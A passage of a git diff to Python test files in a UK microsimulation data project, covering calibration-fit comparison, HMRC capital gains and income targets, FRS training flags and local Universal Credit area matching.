0.5] + [0.0] * 97) + result = compare(base, head, POLICY) + assert result["status"] == "fail" + assert ( + "national targets within 10% falls from 100.0% to 97.0%" + in result["failures"][0] + ) + assert [f["target"] for f in result["flags"]] == ["t0", "t1", "t2"] + assert compare(base, _summary([0.5] + [0.0] * 99), POLICY)["status"] == "pass" + + +def test_a_target_in_a_worse_band_flags_and_a_better_one_is_a_note(): + base = _summary([0.0, 0.5] + [0.0] * 98) + head = _summary([0.5, 0.0] + [0.0] * 98) + result = compare(base, head, POLICY) + assert result["status"] == "pass" + assert result["flags"] == [{"target": "t0", "base": "within 10%", "head": "25-50%"}] + assert "1 national targets are in a better band on the head." in result["notes"] + # Sol re-review of #599: a target worsening outside 10% flags too. + assert compare(_summary([0.15]), _summary([3.0]), POLICY)["flags"] == [ + {"target": "t0", "base": "10-25%", "head": "over 100%"} + ] + # A move inside one band is not a flag. + assert compare(_summary([0.01]), _summary([0.09]), POLICY)["flags"] == [] + assert compare(_summary([0.3]), _summary([0.45]), POLICY)["flags"] == [] + + +@pytest.mark.parametrize( + "error, expected", + [(0.0, 0), (0.1, 0), (0.1000001, 1), (0.25, 1), (0.5, 2), (1.0, 3), (1.01, 4)], +) +def test_band_edges_are_inclusive(error, expected): + assert band(error) == expected + + +def test_an_estimate_exactly_on_a_band_edge_is_inside_it(): + """Delta review of #599: 110 / 100 - 1 is 0.10000000000000009.""" + s = summarise(_log({"edge": (110, 100), "quarter": (125, 100)}, local=LOCAL)) + assert s["national"] == {"edge": 0, "quarter": 1} + + +def test_a_repeated_local_target_is_refused(): + log = _log({"a": (1, 1)}, local=[(1, 1)]) + with pytest.raises(ValueError, match="repeats a local target"): + summarise(pd.concat([log, log[log.name != "UK"]])) + + +def test_added_targets_do_not_count_against_the_existing_ones(): + """Sol review of #599, P2: 100 unchanged targets plus 3 poor new ones pass.""" + base = _summary([0.0] * 100) + head = summarise( + _log( + { + **{f"t{i}": (100, 100) for i in range(100)}, + **{f"new{i}": (200, 100) for i in range(3)}, + }, + LOCAL, + ) + ) + result = compare(base, head, POLICY) + assert result["status"] == "pass" + assert result["summary"]["national"]["compared"] == 100 + assert "3 national targets are new: new0, new1, new2" in result["notes"] + + +@pytest.mark.parametrize( + "head_log", + [ + _log({"a": (1, 1)}, local=()), # only national rows + _log({}, local=LOCAL), # only local rows + _log({"a": (1, 0)}, local=[(1, 0)]), # only zero targets + ], +) +def test_an_empty_target_group_fails(head_log): + """Sol review of #599, P2: empty groups used to give NaN shares and pass.""" + result = compare(_summary([0.0] * 10), summarise(head_log), POLICY) + assert result["status"] == "fail" + assert "has no" in result["failures"][0] + + +def test_an_incomplete_last_epoch_fails(): + log = _log({f"t{i}": (100, 100) for i in range(10)}, LOCAL) + log = log[~((log.epoch == 30) & (log.metric == "t9"))] + result = compare(_summary([0.0] * 10), summarise(log), POLICY) + assert result["status"] == "fail" and "incomplete" in result["failures"][0] + + +def test_builds_of_different_epochs_cannot_be_compared(): + base = _summary([0.0], epochs=(0, 30)) + assert ( + compare(base, _summary([0.0], epochs=(0, 510, 511)), POLICY)["status"] == "fail" + ) + # 32 epochs log last at 30, or at 31 once the final epoch is saved (#594). + result = compare(base, _summary([0.0], epochs=(0, 30, 31)), POLICY) + assert result["status"] == "pass" + assert "saves the final epoch" in result["notes"][0] + + +errors = st.lists(st.floats(0, 3), min_size=1, max_size=40) + + +@settings(max_examples=200, deadline=None) +@given(national=errors, local=errors) +def test_a_build_compared_with_itself_passes_with_nothing_flagged(national, local): + s = _summary(national, local=[(100 * (1 + e), 100) for e in local]) + result = compare(s, s, POLICY) + assert result["status"] == "pass" and result["flags"] == [] + assert all(row["change"] == 0 for row in result["summary"].values()) + + +@settings(max_examples=200, deadline=None) +@given(base=errors, data=st.data()) +def test_improving_every_target_never_fails_and_changes_are_antisymmetric(base, data): + better = [data.draw(st.floats(0, e)) for e in base] + forward = compare(_summary(base), _summary(better), POLICY) + assert forward["status"] == "pass" and forward["flags"] == [] + backward = compare(_summary(better), _summary(base), POLICY) + for name in ("national", "local"): + assert forward["summary"][name]["change"] == pytest.approx( + -backward["summary"][name]["change"] + ) + + +def test_the_shipped_policy_loads(): + policy = load_policy() + assert policy.share_drop_allowance == 0.02 + + +def test_the_commands_summarise_and_exit_one_on_a_failure(tmp_path): + base_log, head_log = tmp_path / "base.csv", tmp_path / "head.csv" + targets = {f"t{i}": (100, 100) for i in range(50)} + _log(targets, LOCAL).to_csv(base_log, index=False) + _log(dict(targets, **{f"t{i}": (200, 100) for i in range(5)}), LOCAL).to_csv( + head_log, index=False + ) + for log in (base_log, head_log): + assert ( + main(["summarise", str(log), "--out", str(log.with_suffix(".json"))]) == 0 + ) + out = tmp_path / "fit.md" + code = main( + [ + "compare", + str(tmp_path / "base.json"), + str(tmp_path / "head.json"), + "--markdown", + str(out), + ] + ) + assert code == 1 + assert "## Calibration fit against the base build: fail" in out.read_text() + assert ( + main(["compare", str(tmp_path / "base.json"), str(tmp_path / "base.json")]) == 0 + ) + + +def test_the_pull_request_workflow_uploads_only_summaries(): + """The datasets are licensed microdata, and raw calibration logs stay on the runner. + + Only aggregate reports leave a job: the fit summaries, the distribution reports + and the aggregate results. + """ + from pathlib import Path + + import yaml + + workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml" + jobs = yaml.safe_load(workflow.read_text())["jobs"] + uploads = sorted( + step["with"]["path"] + for job in jobs.values() + for step in job.get("steps", []) + if step.get("uses", "").startswith("actions/upload-artifact") + ) + assert uploads == [ + "aggregate_result.json", + "base_aggregate_result.json", + "base_distribution_report.json", + "base_fit_summary.json", + "distribution_report.json", + "fit_summary.json", + ] + # The aggregate tool writes household detail under private/; only its + # result.json is copied out for upload. + text = workflow.read_text() + assert 'cp "$RUNNER_TEMP/aggregate/result.json"' in text + for job in jobs.values(): + for step in job.get("steps", []): + assert not step.get("uses", "").startswith("actions/cache"), step + assert jobs["fit-comparison"]["needs"] == ["test", "base-build"] + post = next( + s + for s in jobs["fit-comparison"]["steps"] + if s.get("name", "").startswith("Post") + ) + assert "if [ ! -s fit.md ]" in post["run"] + + +def test_the_aggregate_comparison_is_wired_consistently(): + """Delta review of #602: one tool commit on every side, the aggregate + steps independent of the other measurements, and a crash fails.""" + from pathlib import Path + + import yaml + + workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml" + text = workflow.read_text() + jobs = yaml.safe_load(text)["jobs"] + refs = { + step["with"]["ref"] + for job in jobs.values() + for step in job.get("steps", []) + if step.get("name") == "Check out the aggregate-impact tool" + } + assert len(refs) == 1 and len(next(iter(refs))) == 40, refs + for job_id in ("test", "base-build"): + for step in jobs[job_id]["steps"]: + if "aggregate" in str(step.get("name", "")).lower(): + assert step.get("if") == "${{ !cancelled() }}", (job_id, step["name"]) + for step in jobs["test"]["steps"]: + if step.get("name") in ( + "Check out the aggregate-impact tool", + "Measure national aggregates with the model fixed", + ): + assert step.get("continue-on-error") is True, step["name"] + compare = next( + s for s in jobs["fit-comparison"]["steps"] if s.get("id") == "compare" + )["run"] + crash = compare[compare.index("aggregate_status=$?") :] + assert crash.index('echo "status=1"') < crash.index("aggregates.md") + assert "## National aggregates: FAIL (the comparison did not finish)" in crash diff --git a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py index 66a15b085..13da5cc4a 100644 --- a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py +++ b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py @@ -69,7 +69,7 @@ def test_count_excludes_people_below_the_aea(): def test_amount_is_gated_on_the_same_threshold_as_the_count(): - """HMRC's £65.9bn is gains of CGT-liable taxpayers, not all gains.""" + """HMRC's total is gains of CGT-liable taxpayers, not all gains.""" ctx = _dummy_ctx( capital_gains=[100.0, 2_999.0, 3_001.0, 50_000.0], household_of_person=[0, 0, 1, 2], @@ -170,10 +170,10 @@ def test_aea_boundary_moves_with_the_year(): def test_amount_and_count_select_exactly_the_same_people(): - """The module docstring's central claim: the £65.9bn amount and the - 378k count are two statistics about *one* population, so no - sub-threshold gain may leak into the amount. Putting each person in - their own household lets us compare the two gates person by person. + """The module docstring's central claim: the amount and the count are + two statistics about *one* population, so no sub-threshold gain may + leak into the amount. Putting each person in their own household lets + us compare the two gates person by person. """ gains = [ -10_000.0, @@ -257,8 +257,8 @@ def test_taxpayer_count_is_deliberately_flat_across_projection_years(): factors, but those are a nominal-income index; applying them to a *headcount* would forecast more CGT taxpayers purely because gains are worth more in cash terms. The repo has no administrative basis - for forecasting CGT taxpayer numbers, so the 2023-24 outturn count - is held flat. Changing this should be a conscious decision that + for forecasting CGT taxpayer numbers, so the outturn count is held + flat. Changing this should be a conscious decision that updates this test. """ count = {t.name: t for t in get_targets()}["hmrc/cgt_taxpayers"] @@ -296,7 +296,7 @@ def test_registry_keeps_custom_compute_for_the_calibration_years(): def test_registry_year_filter_excludes_years_before_the_outturn(): - """The targets describe a 2023-24 outturn mapped to calendar 2024, + """The targets describe the 2024-25 outturn, PolicyEngine year 2024, so they must not appear for earlier years.""" from policyengine_uk_data.targets import get_all_targets diff --git a/policyengine_uk_data/tests/test_imputation_source_flags.py b/policyengine_uk_data/tests/test_imputation_source_flags.py index a0d69e2ec..4fa69eff7 100644 --- a/policyengine_uk_data/tests/test_imputation_source_flags.py +++ b/policyengine_uk_data/tests/test_imputation_source_flags.py @@ -4,6 +4,7 @@ import numpy as np import pandas as pd +import pytest class _FakeDataset: @@ -44,6 +45,17 @@ def _stack_without_remapping(left: _FakeDataset, right: _FakeDataset) -> _FakeDa ) +def _fake_households(dataset: _FakeDataset, household_ids) -> _FakeDataset: + person = dataset.person[dataset.person.person_household_id.isin(household_ids)] + return _FakeDataset( + person=person.reset_index(drop=True).copy(), + household=dataset.household[dataset.household.household_id.isin(household_ids)] + .reset_index(drop=True) + .copy(), + fiscal_year=dataset.time_period, + ) + + def _fake_dataset() -> _FakeDataset: person = pd.DataFrame( { @@ -111,25 +123,36 @@ def test_impute_capital_gains_marks_capital_gains_clone_households(monkeypatch): "policyengine_uk_data.datasets.imputations.capital_gains" ) + # Both people are first adults at the top of the income distribution; + # only the second draws a gain HMRC's statistics describe. + top_band = len(cg_module.capital_gains) - 1 monkeypatch.setattr( cg_module, - "impute_cg_to_doubled_dataset", + "_first_adult_incomes", lambda dataset: ( - np.zeros(len(dataset.person), dtype=float), - dataset.household["household_weight"].to_numpy(dtype=float), + np.full(len(dataset.person), 1e6), + np.ones(len(dataset.person), dtype=bool), ), ) + monkeypatch.setattr( + cg_module, "draw_gains", lambda income_band, gainer: np.array([0.0, 50_000.0]) + ) result = cg_module.impute_capital_gains(_fake_dataset()) + # Each household is kept, and the one with a gain is stacked again as + # its has-gains twin. assert result.household["household_is_capital_gains_clone"].tolist() == [ False, False, True, - True, ] - assert result.household.loc[2:, "household_weight"].eq(1).all() - assert result.household["source_household_id"].tolist() == [1, 2, 1, 2] + share = cg_module.capital_gains.percent_with_gains.iloc[top_band] + assert result.household["household_weight"].tolist() == pytest.approx( + [1.0, 2.0 * (1 - share), 2.0 * share] + ) + assert result.person["capital_gains"].tolist() == [0.0, 0.0, 50_000.0] + assert result.household["source_household_id"].tolist() == [1, 2, 2] def test_built_dataset_sources_are_original_survey_households(enhanced_frs): diff --git a/policyengine_uk_data/tests/test_income_projection.py b/policyengine_uk_data/tests/test_income_projection.py index 6370578cc..5ca8756c7 100644 --- a/policyengine_uk_data/tests/test_income_projection.py +++ b/policyengine_uk_data/tests/test_income_projection.py @@ -5,9 +5,12 @@ to have been generated and will be skipped otherwise. """ +import re + import pytest import pandas as pd from policyengine_uk_data.storage import STORAGE_FOLDER +from policyengine_uk_data.targets.sources._common import load_config from policyengine_uk_data.targets.sources.hmrc_spi import _SPI_YEAR PROJECTION_PATH = STORAGE_FOLDER / "incomes_projection.csv" @@ -152,3 +155,74 @@ def test_projection_is_the_spi_table_uprated_with_the_committed_table( from policyengine_uk_data.utils.incomes_projection import project_income_table pd.testing.assert_frame_equal(project_income_table(base_targets), projections) + + +def test_spi_year_is_the_start_of_the_configured_tax_year(): + """The SPI ODS name ends with its tax year (..._2324.ods is 2023-24). + + PolicyEngine UK's year N is tax year N to N+1 (each parameter takes its + value at 30 April N), so a 2023-24 outturn is the 2023 value. Mapping it + to the end year would treat it as 2024-25 and understate every later + year by a year's growth. A refreshed URL without a matching _SPI_YEAR + fails here. + """ + url = load_config()["hmrc"]["spi_collated"] + match = re.search(r"_(\d{2})(\d{2})\.ods$", url) + assert match, url + start, end = int(match[1]), int(match[2]) + assert end == (start + 1) % 100, url + assert _SPI_YEAR == 2000 + start + + +def test_calibration_reads_the_projected_spi_targets( + projections, base_targets, monkeypatch +): + """Calibration (build_loss_matrix) fetches targets without a year filter, + and the registry keeps only the first target of each name. Every SPI band + must therefore be one target carrying its outturn and every projected + year; if the projected years sit on a second target of the same name they + are dropped, and the outturn is carried forward unuprated instead. + + The official table is served from the committed incomes.csv, so the + outturn targets are always present and the test needs no download. + """ + from policyengine_uk_data.targets import get_all_targets + from policyengine_uk_data.targets import registry + from policyengine_uk_data.targets.build_loss_matrix import _resolve_value + from policyengine_uk_data.targets.sources import hmrc_spi + + def committed_table(include_aggregate: bool = True) -> pd.DataFrame: + if include_aggregate: + return base_targets + return _without_aggregate(base_targets).reset_index(drop=True) + + monkeypatch.setattr(hmrc_spi, "get_income_band_table", committed_table) + monkeypatch.setattr(registry, "discover_source_modules", lambda: [hmrc_spi]) + + names = [t.name for t in hmrc_spi.get_targets()] + assert len(names) == len(set(names)) + + spi = {t.name: t for t in get_all_targets() if t.source == "hmrc_spi"} + expected = _without_aggregate(projections[projections["year"] >= _SPI_YEAR]) + checked = 0 + for row in expected.itertuples(): + label = hmrc_spi._format_band_label( + row.total_income_lower_bound, row.total_income_upper_bound + ) + for variable in hmrc_spi.INCOME_VARIABLES: + amount = getattr(row, f"{variable}_amount") + if variable == "property_income": + amount *= hmrc_spi._PROPERTY_INCOME_SCALE + amount_target = spi[f"hmrc/{variable}_income_band_{label}"] + count_target = spi[f"hmrc/{variable}_count_income_band_{label}"] + assert _resolve_value(amount_target, row.year) == pytest.approx(amount) + assert _resolve_value(count_target, row.year) == pytest.approx( + getattr(row, f"{variable}_count") + ) + checked += 2 + assert checked == 2 * len(hmrc_spi.INCOME_VARIABLES) * len(expected) + + years = set(projections["year"]) + assert _SPI_YEAR in years + for target in spi.values(): + assert set(target.values) == years, target.name diff --git a/policyengine_uk_data/tests/test_la_loss_missing_sources.py b/policyengine_uk_data/tests/test_la_loss_missing_sources.py index 11f078fe2..f2c7d394b 100644 --- a/policyengine_uk_data/tests/test_la_loss_missing_sources.py +++ b/policyengine_uk_data/tests/test_la_loss_missing_sources.py @@ -50,6 +50,7 @@ def _patch_common_la_inputs(monkeypatch, tmp_path): "get_la_income_targets", lambda: pd.DataFrame( { + "code": _fake_la_codes()["code"], "employment_income_amount": [1.0, 1.0, 1.0, 1.0], "employment_income_count": [1.0, 1.0, 1.0, 1.0], } @@ -69,10 +70,19 @@ def _patch_common_la_inputs(monkeypatch, tmp_path): monkeypatch.setattr( loss, "get_la_age_targets", - lambda: pd.DataFrame({"age/0_100": [1.0, 1.0, 1.0, 1.0]}), + lambda: pd.DataFrame( + { + "code": _fake_la_codes()["code"], + "age/0_100": [1.0, 1.0, 1.0, 1.0], + } + ), ) monkeypatch.setattr(loss, "get_uk_total_population", lambda year: 4.0) - monkeypatch.setattr(loss, "get_la_uc_targets", lambda: pd.Series([0, 1, 0, 0])) + monkeypatch.setattr( + loss, + "get_la_uc_targets", + lambda: pd.Series([0, 1, 0, 0], index=_fake_la_codes()["code"]), + ) monkeypatch.setattr( loss, "get_ons_income_uprating_factors", diff --git a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py index 64bf5670a..92017b0e7 100644 --- a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py +++ b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py @@ -2,6 +2,8 @@ import pandas as pd import pytest import policyengine_uk +from hypothesis import given +from hypothesis import strategies as st import policyengine_uk_data.datasets.frs as frs_module from policyengine_uk_data.datasets.frs import ( @@ -160,20 +162,71 @@ def test_qualifying_young_person_education_inputs_use_current_education(): assert result.tolist() == [False, True, True, True, False, False] -def test_approved_training_uses_frs_government_training_codes(): - person = pd.DataFrame({"train": [-1, 0, 1, 2, 9, 10, 13, np.nan]}) +def test_approved_training_reads_frs_trainee_flag_for_dependants(): + # Rows as create_frs passes them: numeric after to_numeric and fillna(0). + person = pd.DataFrame( + { + "person_id": [1, 2, 3, 4, 5, 6], + "trainee": [1.0, 2.0, 0.0, -1.0, 1.0, 2.0], + } + ) + + result = derive_is_in_approved_training_from_frs_person( + person, adult_person_ids=[5, 6] + ) - result = derive_is_in_approved_training_from_frs_person(person) + # Person 5 is an adult-table trainee: not an FRS dependant, so not flagged. + assert result.tolist() == [True, False, False, False, False, False] - assert result.tolist() == [False, False, True, True, True, False, False, False] +def _is_one(code) -> bool: + try: + return float(code) == 1.0 + except (TypeError, ValueError): + return False -def test_approved_training_defaults_false_when_frs_field_missing(): - person = pd.DataFrame({"age": [16, 19]}) - result = derive_is_in_approved_training_from_frs_person(person) +@given( + st.lists( + st.tuples( + st.one_of( + st.integers(-9, 20), + st.sampled_from([1.0, 2.0, 0.0, np.nan, " ", "1", "2", ""]), + ), + st.booleans(), + ), + max_size=30, + ) +) +def test_approved_training_is_exactly_a_dependant_answering_yes(rows): + codes = [code for code, _ in rows] + is_adult = [adult for _, adult in rows] + person = pd.DataFrame( + { + "person_id": range(len(rows)), + "trainee": pd.Series(codes, dtype=object), + } + ) + adult_person_ids = [i for i, adult in enumerate(is_adult) if adult] + + result = derive_is_in_approved_training_from_frs_person(person, adult_person_ids) + + assert result.dtype == bool + assert result.index.equals(person.index) + assert result.tolist() == [ + _is_one(code) and not adult for code, adult in zip(codes, is_adult) + ] + # No adult-table record is ever flagged, whatever it answers. + assert not result[person.person_id.isin(adult_person_ids)].any() - assert result.tolist() == [False, False] + +def test_approved_training_requires_frs_trainee_column(): + # FRS releases carry TRAIN2 and TRAINEE but no TRAIN; reading a missing + # column must fail the build, not code everyone as untrained. + person = pd.DataFrame({"person_id": [1, 2], "age": [16, 19], "train2": [9, 9]}) + + with pytest.raises(KeyError, match="TRAINEE"): + derive_is_in_approved_training_from_frs_person(person, adult_person_ids=[]) def test_qyp_entry_age_proxy_caps_current_education_or_training_at_18(): @@ -382,7 +435,14 @@ def calculate(self, variable, year=None): raise KeyError(variable) -def create_single_adult_frs(tmp_path, monkeypatch, empstati=8, with_child=False): +def create_single_adult_frs( + tmp_path, + monkeypatch, + empstati=8, + with_child=False, + child_overrides=None, + adult_overrides=None, +): monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation) monkeypatch.setattr(frs_module, "load_take_up_rate", lambda *args, **kwargs: 0.0) monkeypatch.setattr(frs_module, "load_parameter", lambda *args, **kwargs: 0.0) @@ -451,6 +511,7 @@ def create_single_adult_frs(tmp_path, monkeypatch, empstati=8, with_child=False) "tothours": 0, "tuborr": 0, "typeed2": 0, + "trainee": 2, "uperson": 1, "allpay2": 0, "royyr2": 0, @@ -468,13 +529,14 @@ def create_single_adult_frs(tmp_path, monkeypatch, empstati=8, with_child=False) } ] ) + adult = adult.assign(**(adult_overrides or {})) # The FRS child table has no EMPSTATI column. child_columns = adult.columns.drop("empstati") child = pd.DataFrame(columns=child_columns) if with_child: child = pd.DataFrame( [{**dict.fromkeys(child_columns, 0), "sernum": 100, "benunit": 1}] - ).assign(person=2, age=5, uperson=2) + ).assign(**{"person": 2, "age": 5, "uperson": 2, **(child_overrides or {})}) benunit = pd.DataFrame([{"sernum": 100, "benunit": 1, "famtypb2": 1}]) househol = pd.DataFrame( [ @@ -601,3 +663,49 @@ def test_create_frs_child_rows_are_child(tmp_path, monkeypatch): def test_create_frs_rejects_unknown_adult_empstati(tmp_path, monkeypatch): with pytest.raises(ValueError, match="EMPSTATI"): create_single_adult_frs(tmp_path, monkeypatch, empstati=12) + + +@pytest.mark.parametrize("age", [16, 17, 18, 19]) +def test_create_frs_codes_child_table_trainees_as_approved_training( + tmp_path, monkeypatch, age +): + # DWP's FRS counts a 16- to 19-year-old outside full-time education as a + # dependent child only when in unwaged government training (TRAINEE 1). + person = create_single_adult_frs( + tmp_path, + monkeypatch, + empstati=11, + with_child=True, + child_overrides={"age": age, "fted": 2, "educft": 2, "trainee": 1}, + ).person.set_index("person_id") + trainee = person.loc[100_002] + + assert trainee["current_education"] == "NOT_IN_EDUCATION" + assert trainee["is_in_approved_training"] + assert not person.loc[100_001, "is_in_approved_training"] + assert trainee["age_started_or_accepted_current_education_or_training"] == min( + age, 18 + ) + assert trainee[ + "is_before_universal_credit_qualifying_young_person_terminal_date" + ] == (age == 19) + + +@pytest.mark.parametrize("child_trainee", [1, 2]) +def test_create_frs_leaves_adult_table_trainees_out_of_approved_training( + tmp_path, monkeypatch, child_trainee +): + # An adult-table trainee is not an FRS dependant, and their training may be + # waged, so only the child-table record can be in approved training. + person = create_single_adult_frs( + tmp_path, + monkeypatch, + empstati=11, + with_child=True, + child_overrides={"age": 17, "fted": 2, "educft": 2, "trainee": child_trainee}, + adult_overrides={"age": 0, "age80": 18, "trainee": 1}, + ).person.set_index("person_id") + + assert person.loc[100_001, "age"] == 18 + assert not person.loc[100_001, "is_in_approved_training"] + assert person.loc[100_002, "is_in_approved_training"] == (child_trainee == 1) diff --git a/policyengine_uk_data/tests/test_local_uc_alignment.py b/policyengine_uk_data/tests/test_local_uc_alignment.py new file mode 100644 index 000000000..bd3537eb0 --- /dev/null +++ b/policyengine_uk_data/tests/test_local_uc_alignment.py @@ -0,0 +1,459 @@ +"""Local UC targets retain their area identity through both calibration paths. + +The oracle reads only committed public Stat-Xplore/DfC workbooks and geography +metadata. A four-household simulation stub exercises the target builders without +opening survey data or building/recalibrating a dataset. +""" + +from functools import lru_cache +from pathlib import Path +import re +from types import SimpleNamespace +import unicodedata + +from hypothesis import given, settings, strategies as st +import numpy as np +import pandas as pd +import pytest + +from policyengine_uk_data.storage import STORAGE_FOLDER +from policyengine_uk_data.targets.sources import local_uc +from policyengine_uk_data.utils import uc_data + + +_READ_EXCEL = pd.read_excel +_AREA_FILES = { + "constituency": "constituencies_2024.csv", + "la": "local_authorities_2021.csv", +} +_CHILD_COLUMNS = [ + "uc_hh_0_children", + "uc_hh_1_child", + "uc_hh_2_children", + "uc_hh_3plus_children", +] +_COUNTRIES = { + "E": "ENGLAND", + "W": "WALES", + "S": "SCOTLAND", + "N": "NORTHERN_IRELAND", +} + + +@lru_cache +def _workbook(filename, sheet_name=0): + return _READ_EXCEL(STORAGE_FOLDER / filename, sheet_name=sheet_name, header=None) + + +def _name_key(name): + # Stat-Xplore's Welsh LA labels have the English name before the slash. + english = str(name).split(" / ")[0].casefold().replace("&", "and") + unaccented = "".join( + c + for c in unicodedata.normalize("NFKD", english) + if not unicodedata.combining(c) + ) + return re.sub(r"[^a-z0-9]", "", unaccented) + + +@lru_cache +def _area_metadata(area_type): + return pd.read_csv(STORAGE_FOLDER / _AREA_FILES[area_type]) + + +@lru_cache +def _national_payment_total(): + table = _workbook("uc_national_payment_dist.xlsx") + rows = table.iloc[9:] + paying = rows[~rows[1].isin(["No payment", "Total"])] + return sum( + pd.to_numeric(paying[column], errors="coerce").fillna(0).sum() + for column in range(3, 7) + ) + + +@lru_cache +def _workbook_oracle(area_type): + """Independent raw-name join and the existing uniform national rescale.""" + areas = _area_metadata(area_type) + codes_by_name = {_name_key(row["name"]): row["code"] for _, row in areas.iterrows()} + assert len(codes_by_name) == len(areas) + name_column = 1 if area_type == "constituency" else 2 + filename = ( + "uc_pc_households.xlsx" + if area_type == "constituency" + else "uc_la_households.xlsx" + ) + gb = _workbook(filename) + counts = {} + for _, row in gb.iloc[8:].iterrows(): + name, count = row[name_column], row[3] + if pd.isna(name) or pd.isna(count) or name in {"Unknown", "Total"}: + continue + code = codes_by_name[_name_key(name)] + assert code not in counts + counts[code] = int(count) + + ni = _workbook( + "dfc-ni-uc-stats-supp-tables-may-2025.ods", + "5b" if area_type == "constituency" else "5c", + ) + month = ni.loc[ni[0].eq("May 2025")].iloc[0] + stop = 19 if area_type == "constituency" else 12 + for column in range(1, stop): + name = ni.iloc[2, column] + if pd.isna(name) or (area_type == "la" and name == "Ards and North Down"): + continue + code = codes_by_name[_name_key(name)] + assert code not in counts + counts[code] = int(month[column]) + + raw = pd.Series(counts, name="household_count").rename_axis("code").sort_index() + assert set(raw.index) == set(areas["code"]) + scaled = (raw * (_national_payment_total() / raw.sum())).round().astype(int) + return raw, scaled + + +def _get_targets(area_type): + getter = ( + local_uc.get_constituency_uc_targets + if area_type == "constituency" + else local_uc.get_la_uc_targets + ) + return getter() + + +def _map_constituency_targets_by_name(source): + """Aggregate the public boundary table without the production matrix or aliases.""" + boundary = pd.read_csv( + STORAGE_FOLDER.parent + / "datasets/local_areas/constituencies/boundary_changes/boundary_changes.csv" + ) + old_areas = pd.read_csv(STORAGE_FOLDER / "constituencies_2010.csv") + current_areas = _area_metadata("constituency") + codes_by_name = { + _name_key(row["name"]): row["code"] for _, row in current_areas.iterrows() + } + old_names = old_areas.set_index("code")["name"] + # The boundary source retains 2010 codes for some unchanged Scottish seats. + # Resolve those codes through their names instead of copying the code aliases + # from mapping_matrix.py; every other destination is already a current code. + historical = ~boundary["code_2024"].isin(current_areas["code"]) + boundary.loc[historical, "code_2024"] = ( + boundary.loc[historical, "code_2024"] + .map(old_names) + .map(_name_key) + .map(codes_by_name) + ) + assert boundary["code_2024"].notna().all() + assert set(boundary["code_2024"]) == set(current_areas["code"]) + shares = boundary["old_population_present"] / boundary.groupby("code_2010")[ + "old_population_present" + ].transform("sum") + contributions = source.loc[boundary["code_2010"]].reset_index(drop=True) + return contributions.mul(shares, axis=0).groupby(boundary["code_2024"]).sum() + + +@pytest.mark.parametrize("area_type", ["constituency", "la"]) +def test_all_uc_rows_and_country_totals_match_public_workbooks(area_type): + """Keep the national payment rescale and per-area rounding unchanged.""" + raw, expected = _workbook_oracle(area_type) + actual = _get_targets(area_type).sort_index() + pd.testing.assert_series_equal(actual, expected, check_dtype=False) + for country in _COUNTRIES: + codes = expected.index[expected.index.str.startswith(country)] + assert actual.loc[codes].sum() == expected.loc[codes].sum() + assert actual.sum() == (raw * (_national_payment_total() / raw.sum())).round().sum() + # The national scale is deliberate; individual integer rounding can drift. + assert abs(actual.sum() - _national_payment_total()) <= len(actual) / 2 + + +@pytest.mark.parametrize("area_type", ["constituency", "la"]) +@settings(max_examples=8, deadline=None) +@given(seed=st.integers(min_value=0, max_value=2**32 - 1)) +def test_permuting_workbook_areas_preserves_code_indexed_targets(area_type, seed): + _, expected = _workbook_oracle(area_type) + filename = ( + "uc_pc_households.xlsx" + if area_type == "constituency" + else "uc_la_households.xlsx" + ) + name_column = 1 if area_type == "constituency" else 2 + rng = np.random.default_rng(seed) + shuffled = _workbook(filename).copy() + valid = shuffled.index[ + (shuffled.index >= 8) + & shuffled[name_column].notna() + & shuffled[3].notna() + & ~shuffled[name_column].isin(["Unknown", "Total"]) + ] + shuffled.loc[valid] = shuffled.loc[rng.permutation(valid)].to_numpy() + + def read_excel(path, *args, **kwargs): + if Path(path).name == filename: + return shuffled.copy() + if Path(path).suffix == ".ods": + table = _workbook(Path(path).name, kwargs["sheet_name"]).copy() + stop = 19 if kwargs["sheet_name"] == "5b" else 12 + columns = list(range(1, stop)) + table.iloc[:, columns] = table.iloc[:, rng.permutation(columns)].to_numpy() + return table + return _workbook(Path(path).name).copy() + + parser = ( + uc_data._parse_uc_pc_households + if area_type == "constituency" + else uc_data._parse_uc_la_households + ) + attribute = ( + "uc_pc_households" if area_type == "constituency" else "uc_la_households" + ) + with pytest.MonkeyPatch.context() as patch: + patch.setattr(uc_data.pd, "read_excel", read_excel) + patch.setattr(uc_data, attribute, parser()) + pd.testing.assert_series_equal( + _get_targets(area_type).sort_index(), expected, check_dtype=False + ) + + +def test_children_split_sums_exactly_and_uses_matched_country_shares(): + _, totals = _workbook_oracle("constituency") + actual = local_uc.get_constituency_uc_by_children_targets().sort_index() + assert list(actual.columns) == _CHILD_COLUMNS + pd.testing.assert_index_equal(actual.index, totals.index) + np.testing.assert_array_equal(actual.sum(axis=1), totals) + gb_total = totals.loc[totals.index.str[0].isin(["E", "W", "S"])].sum() + buckets = local_uc._scaled_uc_children_by_country(gb_total) + for code, total in totals.items(): + shares = buckets[code[0]] / buckets[code[0]].sum() + # Integer apportionment must stay within one household of each share. + assert (np.abs(actual.loc[code].to_numpy() - total * shares) < 1).all(), code + + +@pytest.mark.parametrize("problem", ["unmatched", "duplicate", "missing"]) +def test_area_matching_rejects_incomplete_or_ambiguous_names(problem): + areas = pd.DataFrame({"code": ["E01", "W01"], "name": ["A & B", "Cardiff"]}) + names = { + "unmatched": ["Unknown place", "Cardiff"], + "duplicate": ["A and B", "A & B"], + "missing": ["A and B"], + }[problem] + data = pd.DataFrame({"area_name": names, "household_count": [1] * len(names)}) + with pytest.raises(ValueError): + uc_data._match_uc_area_codes(data, areas, "area_name") + + +@pytest.mark.parametrize("bilingual", ["CARDIFF / CAERDYDD", "CAERDYDD / CARDIFF"]) +def test_area_matching_normalises_labels_and_prefers_explicit_codes(bilingual): + areas = pd.DataFrame( + { + "code": ["E01", "W01", "W02"], + "name": ["King's Lynn and West Norfolk", "Cardiff", "Ynys Môn"], + } + ) + names = pd.DataFrame( + { + "area_name": [bilingual, "kings lynn & west-norfolk", "YNYS MON"], + "household_count": [10, 20, 30], 